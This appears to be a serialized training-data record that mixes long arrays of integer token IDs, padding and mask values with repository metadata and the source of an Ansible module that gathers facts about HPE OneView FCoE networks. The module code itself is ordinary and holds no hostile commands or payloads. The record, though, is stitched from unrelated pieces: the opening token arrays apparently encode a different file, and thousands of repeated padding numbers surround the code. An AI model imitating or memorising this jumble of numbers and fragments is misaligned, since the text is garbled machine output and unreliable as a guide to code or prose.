32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 199, 7687, 9769, 41, 10354, 83, 199, 1280, 389, 199, 199, 10369, 1611, 11762, 2412, 1265, 883, 5137, 481, 5710, 300, 2412, 1970, 3294, 3628, 641, 314, 13195, 199, 1045, 282, 7031, 5982, 402, 3304, 1806, 314, 13104, 6025, 14, 199, 199, 624, 199, 646, 747, 199, 504, 6296, 2412, 492, 699, 6322, 199, 199, 1361, 3460, 1301, 3368, 199, 199, 5875, 63, 344, 275, 298, 70, 2231, 3652, 2, 199, 426, 2664, 275, 298, 25514, 2, 199, 21579, 275, 298, 19169, 16240, 2, 199, 22246, 275, 699, 6322, 8, 5875, 63, 344, 12, 946, 2664, 12, 24802, 9, 199, 199, 3, 982, 314, 1768, 27576, 315, 314, 3293, 4192, 315, 314, 32446, 2082, 12, 199, 3, 1265, 883, 5137, 652, 701, 2951, 1808, 314, 536, 199, 22246, 14, 525, 63, 1302, 480, 4134, 17, 531, 199, 199, 3, 6601, 3628, 1172, 376, 4568, 6917, 574, 737, 1924, 2870, 315, 314, 1768, 14, 199, 3, 2104, 2893, 12, 2985, 1443, 506, 5128, 14677, 513, 7288, 3247, 14, 2047, 883, 8765, 199, 3, 4052, 14971, 2498, 1536, 315, 314, 1768, 1808, 642, 6917, 666, 199, 22246, 14, 525, 63, 1302, 480, 4134, 17, 401, 3164, 628, 6304, 401, 6917, 63, 14898, 15856, 21, 9, 199, 199, 3, 4236, 1265, 883, 8120, 282, 931, 370, 282, 1768, 315, 376, 9697, 2909, 199, 954, 74, 63, 694, 275, 747, 14, 2314, 905, 6348, 5550, 51, 63, 3022, 937, 199, 1302, 63, 493, 275, 747, 14, 515, 14, 904, 8, 954, 74, 63, 694, 12, 5420, 63, 344, 12, 2079, 298, 1302, 401, 2071, 83, 14, 5747, 14, 1302, 2, 450, 946, 2664, 9, 199, 22246, 14, 525, 63, 1302, 8, 1302, 63, 493, 9, 199, 199, 3, 4885, 849, 314, 1768, 365, 283, 17647, 13, 262, 297, 1325, 1265, 883, 199, 3, 5137, 2951, 314, 1768, 18135, 199, 22246, 14, 525, 63, 1302, 480, 4134, 1602, 401, 9162, 83, 29, 549, 9, 199, 199, 3, 2047, 883, 2597, 3304, 314, 31835, 402, 314, 1768, 3164, 199, 22246, 14, 525, 63, 1302, 480, 4134, 22, 401, 5131, 15856, 23, 9, 199, 199, 3, 19177, 12, 1265, 883, 5137, 314, 1768, 315, 1263, 3164, 1265, 2934, 14, 199, 22246, 14, 2384, 63, 1345, 8, 807, 8, 4651, 26720, 4022, 2260, 12, 12993, 4255, 29, 7320, 12, 6033, 29, 10932, 12, 2151, 289, 24560, 1403, 1524, 13, 1216, 12, 446, 1165, 12, 4114, 2459, 199, 199, 3, 3645, 1263, 1686, 8027, 3164, 14, 199, 22246, 14, 525, 63, 1302, 480, 54, 17, 401, 3164, 628, 1597, 352, 6304, 401, 5131, 15856, 22, 9, 199, 22246, 14, 525, 63, 1302, 480, 54, 18, 401, 3164, 13476, 1665, 22, 12532, 401, 5131, 15856, 22, 9, 199, 22246, 14, 525, 63, 1302, 480, 484, 269, 72, 1582, 401, 3164, 2687, 14, 18, 12, 413, 12, 1275, 21, 395, 5131, 15856, 22, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
gaddman/ansible
lib/ansible/modules/remote_management/oneview/oneview_fcoe_network_facts.py
125
2632
#!/usr/bin/python # Copyright (c) 2016-2017 Hewlett Packard Enterprise Development LP # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import (absolute_import, division, print_function) __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['preview'], 'supported_by': 'community'} DOCUMENTATION = ''' --- module: oneview_fcoe_network_facts short_description: Retrieve the facts about one or more of the OneView FCoE Networks description: - Retrieve the facts about one or more of the FCoE Networks from OneView. version_added: "2.4" requirements: - hpOneView >= 2.0.1 author: - Felipe Bulsoni (@fgbulsoni) - Thiago Miotto (@tmiotto) - Adriane Cardozo (@adriane-cardozo) options: name: description: - FCoE Network name. extends_documentation_fragment: - oneview - oneview.factsparams ''' EXAMPLES = ''' - name: Gather facts about all FCoE Networks oneview_fcoe_network_facts: config: /etc/oneview/oneview_config.json delegate_to: localhost - debug: var=fcoe_networks - name: Gather paginated, filtered and sorted facts about FCoE Networks oneview_fcoe_network_facts: config: /etc/oneview/oneview_config.json params: start: 0 count: 3 sort: 'name:descending' filter: 'vlanId=2' delegate_to: localhost - debug: var=fcoe_networks - name: Gather facts about a FCoE Network by name oneview_fcoe_network_facts: config: /etc/oneview/oneview_config.json name: Test FCoE Network Facts delegate_to: localhost - debug: var=fcoe_networks ''' RETURN = ''' fcoe_networks: description: Has all the OneView facts about the FCoE Networks. returned: Always, but can be null. type: dict ''' from ansible.module_utils.oneview import OneViewModuleBase class FcoeNetworkFactsModule(OneViewModuleBase): def __init__(self): argument_spec = dict( name=dict(type='str'), params=dict(type='dict'), ) super(FcoeNetworkFactsModule, self).__init__(additional_arg_spec=argument_spec) def execute_module(self): if self.module.params['name']: fcoe_networks = self.oneview_client.fcoe_networks.get_by('name', self.module.params['name']) else: fcoe_networks = self.oneview_client.fcoe_networks.get_all(**self.facts_params) return dict(changed=False, ansible_facts=dict(fcoe_networks=fcoe_networks)) def main(): FcoeNetworkFactsModule().run() if __name__ == '__main__': main()
gpl-3.0
[ 3381, 2647, 15, 1393, 15, 1548, 199, 3, 1898, 334, 67, 9, 7800, 13, 10680, 27849, 9954, 1005, 29949, 15290, 21738, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 199, 3612, 63, 1802, 26, 13939, 314, 9036, 3595, 1373, 503, 1655, 402, 314, 7309, 2768, 481, 967, 37, 17138, 199, 1802, 26, 272, 446, 13939, 314, 9036, 3595, 1373, 503, 1655, 402, 314, 481, 967, 37, 17138, 687, 7309, 2768, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 20, 2, 199, 7538, 26, 272, 446, 20962, 4395, 2768, 2356, 499, 14, 16, 14, 17, 199, 2502, 26, 272, 446, 7949, 317, 321, 699, 348, 834, 73, 8593, 70, 4908, 348, 834, 73, 9, 272, 446, 3868, 73, 14315, 603, 73, 357, 475, 8593, 84, 2664, 357, 475, 9, 272, 446, 4431, 322, 5865, 445, 1005, 79, 18070, 8593, 350, 322, 5865, 13, 5841, 79, 18070, 9, 199, 1419, 26, 272, 536, 26, 489, 1369, 26, 267, 446, 481, 967, 37, 7220, 536, 14, 199, 11036, 63, 9970, 63, 7677, 26, 272, 446, 1373, 1345, 272, 446, 1373, 1345, 14, 5047, 1162, 199, 2344, 199, 199, 8918, 275, 1449, 199, 13, 536, 26, 19634, 9036, 3595, 1006, 481, 967, 37, 17138, 523, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 26, 272, 1101, 26, 1182, 6839, 15, 368, 1345, 15, 368, 1345, 63, 888, 14, 1001, 523, 13080, 63, 475, 26, 11667, 199, 199, 13, 3105, 26, 2729, 29, 70, 331, 69, 63, 7642, 199, 199, 13, 536, 26, 19634, 9881, 23831, 12, 9806, 436, 3355, 9036, 3595, 481, 967, 37, 17138, 523, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 26, 272, 1101, 26, 1182, 6839, 15, 368, 1345, 15, 368, 1345, 63, 888, 14, 1001, 272, 1862, 26, 489, 1343, 26, 378, 489, 2338, 26, 650, 489, 4069, 26, 283, 354, 26, 3257, 3219, 7, 489, 2457, 26, 283, 7175, 1304, 29, 18, 7, 523, 13080, 63, 475, 26, 11667, 199, 199, 13, 3105, 26, 2729, 29, 70, 331, 69, 63, 7642, 199, 199, 13, 536, 26, 19634, 9036, 3595, 282, 481, 967, 37, 7220, 701, 536, 523, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 26, 272, 1101, 26, 1182, 6839, 15, 368, 1345, 15, 368, 1345, 63, 888, 14, 1001, 272, 536, 26, 1379, 481, 967, 37, 7220, 481, 22282, 523, 13080, 63, 475, 26, 11667, 199, 199, 13, 3105, 26, 2729, 29, 70, 331, 69, 63, 7642, 199, 2344, 199, 199, 9677, 275, 1449, 199, 70, 331, 69, 63, 7642, 26, 272, 1369, 26, 13481, 1006, 314, 7309, 2768, 9036, 3595, 314, 481, 967, 37, 17138, 14, 272, 2138, 26, 16763, 12, 1325, 883, 506, 2973, 14, 272, 730, 26, 1211, 199, 2344, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 368, 1345, 492, 7309, 2768, 2377, 1563, 421, 199, 533, 481, 331, 69, 4491, 25821, 2377, 8, 4395, 2768, 2377, 1563, 304, 272, 347, 636, 826, 721, 277, 304, 267, 1423, 63, 1650, 275, 1211, 8, 288, 536, 29, 807, 8, 466, 534, 495, 659, 288, 1862, 29, 807, 8, 466, 534, 807, 659, 267, 776, 398, 1613, 8, 38, 331, 69, 4491, 25821, 2377, 12, 291, 2843, 826, 721, 8460, 63, 1273, 63, 1650, 29, 2094, 63, 1650, 9, 339, 347, 5341, 63, 578, 8, 277, 304, 398, 340, 291, 14, 578, 14, 1162, 459, 354, 2565, 288, 289, 331, 69, 63, 7642, 275, 291, 14, 368, 1345, 63, 1258, 14, 70, 331, 69, 63, 7642, 14, 362, 63, 991, 360, 354, 297, 291, 14, 578, 14, 1162, 459, 354, 1105, 267, 587, 26, 288, 289, 331, 69, 63, 7642, 275, 291, 14, 368, 1345, 63, 1258, 14, 70, 331, 69, 63, 7642, 14, 362, 63, 452, 3682, 277, 14, 5047, 63, 1162, 9, 398, 372, 1211, 8, 2489, 29, 797, 12, 490, 3242, 63, 5047, 29, 807, 8, 70, 331, 69, 63, 7642, 29, 70, 331, 69, 63, 7642, 430, 421, 199, 318, 2446, 837, 272, 481, 331, 69, 4491, 25821, 2377, 1252, 1065, 342, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 2647, 15, 1393, 15, 1548, 199, 3, 1898, 334, 67, 9, 7800, 13, 10680, 27849, 9954, 1005, 29949, 15290, 21738, 199, 3, 1664, 1696, 1684, 844, 373, 19, 14, 16, 11, 334, 3239, 9685, 503, 4178, 921, 1544, 14, 3689, 14, 1308, 15, 2383, 15, 11692, 13, 19, 14, 16, 14, 2424, 9, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 870, 63, 1593, 9, 199, 363, 6577, 363, 275, 730, 199, 199, 8490, 63, 8314, 275, 791, 2343, 63, 1023, 356, 283, 17, 14, 17, 297, 490, 283, 1205, 356, 788, 7780, 995, 490, 283, 4946, 63, 991, 356, 283, 9387, 936, 199, 199, 8948, 275, 1449, 199, 2595, 199, 578, 26, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 199, 3612, 63, 1802, 26, 13939, 314, 9036, 3595, 1373, 503, 1655, 402, 314, 7309, 2768, 481, 967, 37, 17138, 199, 1802, 26, 272, 446, 13939, 314, 9036, 3595, 1373, 503, 1655, 402, 314, 481, 967, 37, 17138, 687, 7309, 2768, 14, 199, 1023, 63, 3270, 26, 298, 18, 14, 20, 2, 199, 7538, 26, 272, 446, 20962, 4395, 2768, 2356, 499, 14, 16, 14, 17, 199, 2502, 26, 272, 446, 7949, 317, 321, 699, 348, 834, 73, 8593, 70, 4908, 348, 834, 73, 9, 272, 446, 3868, 73, 14315, 603, 73, 357, 475, 8593, 84, 2664, 357, 475, 9, 272, 446, 4431, 322, 5865, 445, 1005, 79, 18070, 8593, 350, 322, 5865, 13, 5841, 79, 18070, 9, 199, 1419, 26, 272, 536, 26, 489, 1369, 26, 267, 446, 481, 967, 37, 7220, 536, 14, 199, 11036, 63, 9970, 63, 7677, 26, 272, 446, 1373, 1345, 272, 446, 1373, 1345, 14, 5047, 1162, 199, 2344, 199, 199, 8918, 275, 1449, 199, 13, 536, 26, 19634, 9036, 3595, 1006, 481, 967, 37, 17138, 523, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 26, 272, 1101, 26, 1182, 6839, 15, 368, 1345, 15, 368, 1345, 63, 888, 14, 1001, 523, 13080, 63, 475, 26, 11667, 199, 199, 13, 3105, 26, 2729, 29, 70, 331, 69, 63, 7642, 199, 199, 13, 536, 26, 19634, 9881, 23831, 12, 9806, 436, 3355, 9036, 3595, 481, 967, 37, 17138, 523, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 26, 272, 1101, 26, 1182, 6839, 15, 368, 1345, 15, 368, 1345, 63, 888, 14, 1001, 272, 1862, 26, 489, 1343, 26, 378, 489, 2338, 26, 650, 489, 4069, 26, 283, 354, 26, 3257, 3219, 7, 489, 2457, 26, 283, 7175, 1304, 29, 18, 7, 523, 13080, 63, 475, 26, 11667, 199, 199, 13, 3105, 26, 2729, 29, 70, 331, 69, 63, 7642, 199, 199, 13, 536, 26, 19634, 9036, 3595, 282, 481, 967, 37, 7220, 701, 536, 523, 1373, 1345, 63, 70, 331, 69, 63, 1200, 63, 5047, 26, 272, 1101, 26, 1182, 6839, 15, 368, 1345, 15, 368, 1345, 63, 888, 14, 1001, 272, 536, 26, 1379, 481, 967, 37, 7220, 481, 22282, 523, 13080, 63, 475, 26, 11667, 199, 199, 13, 3105, 26, 2729, 29, 70, 331, 69, 63, 7642, 199, 2344, 199, 199, 9677, 275, 1449, 199, 70, 331, 69, 63, 7642, 26, 272, 1369, 26, 13481, 1006, 314, 7309, 2768, 9036, 3595, 314, 481, 967, 37, 17138, 14, 272, 2138, 26, 16763, 12, 1325, 883, 506, 2973, 14, 272, 730, 26, 1211, 199, 2344, 199, 199, 504, 3242, 14, 578, 63, 1208, 14, 368, 1345, 492, 7309, 2768, 2377, 1563, 421, 199, 533, 481, 331, 69, 4491, 25821, 2377, 8, 4395, 2768, 2377, 1563, 304, 272, 347, 636, 826, 721, 277, 304, 267, 1423, 63, 1650, 275, 1211, 8, 288, 536, 29, 807, 8, 466, 534, 495, 659, 288, 1862, 29, 807, 8, 466, 534, 807, 659, 267, 776, 398, 1613, 8, 38, 331, 69, 4491, 25821, 2377, 12, 291, 2843, 826, 721, 8460, 63, 1273, 63, 1650, 29, 2094, 63, 1650, 9, 339, 347, 5341, 63, 578, 8, 277, 304, 398, 340, 291, 14, 578, 14, 1162, 459, 354, 2565, 288, 289, 331, 69, 63, 7642, 275, 291, 14, 368, 1345, 63, 1258, 14, 70, 331, 69, 63, 7642, 14, 362, 63, 991, 360, 354, 297, 291, 14, 578, 14, 1162, 459, 354, 1105, 267, 587, 26, 288, 289, 331, 69, 63, 7642, 275, 291, 14, 368, 1345, 63, 1258, 14, 70, 331, 69, 63, 7642, 14, 362, 63, 452, 3682, 277, 14, 5047, 63, 1162, 9, 398, 372, 1211, 8, 2489, 29, 797, 12, 490, 3242, 63, 5047, 29, 807, 8, 70, 331, 69, 63, 7642, 29, 70, 331, 69, 63, 7642, 430, 421, 199, 318, 2446, 837, 272, 481, 331, 69, 4491, 25821, 2377, 1252, 1065, 342, 421, 199, 692, 636, 354, 363, 508, 2560, 973, 3706, 272, 2446, 342, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 